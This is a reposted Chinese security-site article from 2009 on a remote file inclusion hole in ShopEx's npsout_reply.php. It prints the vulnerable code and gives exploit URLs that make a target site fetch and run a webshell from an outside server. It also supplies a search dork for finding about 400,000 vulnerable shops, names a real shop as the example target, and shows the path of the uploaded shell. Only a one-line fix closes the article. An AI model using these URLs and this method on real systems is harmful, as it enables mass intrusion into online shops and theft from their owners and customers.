首页 网络安全 安全学院 查看内容

SHOPEX最新漏洞利用

2009-2-4 12:43 582 0

摘要: 信息来源:B.S.T漏洞平台:SHOPEX危害程度:★★★★☆关于ShopEx:ShopEx是网络购物软件与技术服务全面提供商,ShopEx做为国内购物软件的开拓者和实践者,提供了从购物软件(包括网上...
关键词: orderArray php http 服务器 npsout www reply SYSHOMEDIR 漏洞 Order

信息来源:B.S.T漏洞平台:SHOPEX危害程度:★★★★☆关于ShopEx:ShopEx是网络购物软件与技术服务全面提供商,ShopEx做为国内购物软件的开拓者和实践者,提供了从购物软件(包括网上商店、网上商城、网上商店多店系统)到相关配套服务(网店推广、模板设计、流量监测、商业智能分析、网上支付、网店互联、购物系统定制开发等)以及深层次的电子商务技术服务。漏洞原理:看这里:/shop/npsout_reply.php include_once($INC_SYSHOMEDIR."include/PayFunction.php");//=========================== 把商家的相关信息返回去 =======================//接收组件的加密$OrderInfo = $_POST[OrderMessage]; //订单加密信息$signMsg = $_POST[Digest]; //密匙$m_id = $_POST[m_id];//=========================== 开始加密 ====================================//检查签名$shopPayment = newclass("shopPayment");$key = $shopPayment->getKey($INC_SHOPID, $m_id, "NPS_OUT");$digest = md5($OrderInfo.$key);//var_dump($_POST);if ($digest == $signMsg){//将HEX还原成字符$OrderInfo = HexToStr($OrderInfo);//DES解密$recovered_message = des($key, $OrderInfo, 0, 1, null);//echo "DES Test Decrypted: " . $recovered_message;$orderArray = split([|],$recovered_message);$m_id = $orderArray[0];$m_orderid = $orderArray[1];$m_oamount = $orderArray[2];$m_ocurrency = $orderArray[3];$m_url = $orderArray[4];// m_txcode = array[5];$m_language = $orderArray[5];$s_name = $orderArray[6];$s_addr = $orderArray[7];$s_postcode = $orderArray[8];$s_tel = $orderArray[9];$s_eml = $orderArray[10];$r_name = $orderArray[11];$r_addr = $orderArray[12];$r_postcode = $orderArray[13];$r_tel = $orderArray[14];$r_eml = $orderArray[15];$m_ocomment = $orderArray[16];$modate = $orderArray[17];$Status = $orderArray[18];if ($Status == 2){$Order = newclass("Order");$Order->shopId = $INC_SHOPID;$Order->payid = $m_orderid;$arr_paytime = getUnixtime(); //支付时间$Order->onlinePayed($arr_paytime[0], $arr_paytime[1]);$tmp_orderno = $Order->getorderidbyPayid($Order->payid); //拿出商店订单号$state = 2 ;$strinfo = $PROG_TAGS["ptag_1334"];}else{$state = 1 ;$strinfo = $PROG_TAGS["ptag_1335"];}}else{$state = 0 ;$strinfo = $PROG_TAGS["ptag_1336"];}Header("Location: ./index.php?gOo=pay_reply.dwt&orderid=".$tmp_orderno."&state=".$state."&strinfo=".urlencode($strinfo));?>假设在 http://www.sagi.net.cn 根目录下有个include文件夹里面有PayFunction.php文件(这是我们自己构造的,当然文件的内容可是小马也可是大马 呵呵)我们用如下方法就可以利用之http://www.xxxx.com/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn简单的说远程攻击者可以利用漏洞以WEB进程权限执行任意PHP命令。具体情节是npsout_reply.php脚本对用户提交的npsout_root_path参数缺少过滤指定远程服务器上的任意文件作为包含对象,可导致以WEB权限执行任意PHP代码漏洞实战:构造URL:http://www.xxxx.com/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt?注意:[http://www.sagi.net.cn/php.txt?] 其实并没有在 http://www.sagi.net.cn 所在的服务器上执行而是在 "http://www.xxxx.com" 上执行的。简单的说.通过SHOPEX系统,我在中国的服务器上执行了美国服务器上的代码.而这个代码的主人是美国服务器.却在中国的服务器上被执行.所以我在中国的服务器上执行命令。美国的服务器就乖乖的执行任务。就这么简单。漏洞实验:关键词:产品目录 联系我们 关于我们 常见问题 安全交易 购买流程 如何付款可以找到40多万个用此系统的站.也就意味着40多万个站将被沦陷.在目标站后面加上:/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt?就出现了远程执行php大马的画面.如:http://www.oicqshop.com/oicqshop/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt?然后上传php大马.就可以了.访问:如:http://www.oicqshop.com/oicqshop/shop/bsthacker.php至于解决方案.官方未公布.可以删除shop目录下的npsout_reply.php文件.OK...
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部